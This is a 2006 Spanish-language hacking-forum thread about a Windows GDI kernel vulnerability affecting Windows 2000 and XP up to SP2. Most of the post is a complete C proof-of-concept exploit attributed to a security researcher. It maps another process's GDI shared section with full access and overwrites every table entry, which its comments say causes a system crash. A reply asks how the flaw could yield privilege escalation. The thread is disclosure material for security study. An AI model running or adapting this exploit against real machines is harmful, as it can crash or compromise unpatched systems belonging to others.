elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 09:21  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Microsoft Windows GDI Kernel - Escalada de privilegios local
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Microsoft Windows GDI Kernel - Escalada de privilegios local  (Leído 1,627 veces)
ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.045


#include<nda.h>


Ver Perfil WWW
Microsoft Windows GDI Kernel - Escalada de privilegios local
« en: 10 Noviembre 2006, 15:46 »

Microsoft Windows es vulnerable de forma local a una escalada de privilegios porque las estructuras de datos mapeadas por el núcleo de GDI se pueden direccionar como de lectura/escritura por otros procesos.

Son vulnerables todos los XP <= SP2, Windows 2000 >= SP4 y los Server 2000.


Código:
//  Argeniss  - Information Security - www.argeniss.com
// 
//  by: [b]Cesar Cerrudo[/b]
//
//  Windows GDI Kernel structure vulnerability
//
//  Versions affected: Win2k sp0,sp1,sp2,sp3,sp4, WinXP sp0,sp1,sp2
//   
//
//  Note: if it doesn't work it's because the wrong section is mapped
try changing hMapFile initial value
//         runnin this PoC will cause BSOD
//


#include "windows.h"
#include "stdio.h"

#pragma comment(lib, "user32")

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef struct _SECTION_BASIC_INFORMATION {
  ULONG                   d000;
  ULONG                   SectionAttributes;
  LARGE_INTEGER           SectionSize;
} SECTION_BASIC_INFORMATION;

typedef DWORD (CALLBACK* NTQUERYSECTION)(HANDLE, DWORD,
PVOID,DWORD,DWORD*);
NTQUERYSECTION NtQuerySection;

int main(int argc, char* argv[])
{
SECTION_BASIC_INFORMATION buff;
HANDLE hMapFile;
    hMapFile=(HANDLE)0x10;
LPVOID lpMapAddress=NULL;
HWND hWin;


hWin=CreateWindow(NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);

while(!lpMapAddress){
hMapFile=(void*)((int)hMapFile+1);
lpMapAddress = MapViewOfFile(hMapFile,
FILE_MAP_ALL_ACCESS, 0, 0, 0);
}

if (lpMapAddress == NULL) {
printf("Could not map section.");
return 0;
}


HMODULE hL;
hL=LoadLibrary("Ntdll.dll");
NtQuerySection= (DWORD (WINAPI *)(HANDLE, DWORD,
PVOID,DWORD,DWORD*))GetProcAddress(hL,"NtQuerySection");

if (NtQuerySection(hMapFile,0,&buff,sizeof(buff),0)){
printf("Could not get section size");
return 0;
}

char * sMap;
DWORD i;
sMap=(char*)lpMapAddress;
printf("Section size: 0x%x\n",buff.SectionSize.QuadPart);
printf("Writing to section.\nPress Ctr+C to quit\n");


GDITableEntry *gdiTable;


gdiTable=(GDITableEntry *)lpMapAddress;

for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry)){

gdiTable->_nCount =0x5858;
gdiTable->nType  =0x5858;
gdiTable->nUpper =0x5858;
gdiTable->ProcessID =0x5858;
gdiTable->pKernelInfo   =0x58585858;
gdiTable->pUserInfo   =0x58585858;

gdiTable++;
}




CloseHandle(hMapFile);

return 0;
}

Fuente: http://www.securityfocus.com/bid/20940
« Última modificación: 11 Noviembre 2006, 03:51 por ANELKAOS » En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 458


LLVM


Ver Perfil WWW
Re: Microsoft Windows GDI Kernel - Escalada de privilegios local
« Respuesta #1 en: 12 Noviembre 2006, 07:54 »

Wow!, muy buena data. Como siempre Anelkaos, poniendo cosas realmente interesantes  ;D.
Ahora de qué manera se podría aprovechar esto para escalar privilegios?. Digo el hecho de que tengas acceso a los objetos GDI de otros procesos te da chances de subir privilegios?.
Saludos.-
« Última modificación: 12 Noviembre 2006, 08:04 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Exploit para kernel Linux 2.6.x permite la elevación local de privilegios
Noticias
wolfbcn 2 816 Último mensaje 12 Diciembre 2010, 20:10
por Randomize
error en windows vista(microsoft-windows kernel-power)
Windows
BboyBenny 6 1,487 Último mensaje 4 Julio 2011, 15:49
por BboyBenny
Microsoft contribuye de manera importante en el Kernel de Linux
Noticias
wolfbcn 5 1,111 Último mensaje 18 Julio 2011, 20:59
por Akai
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines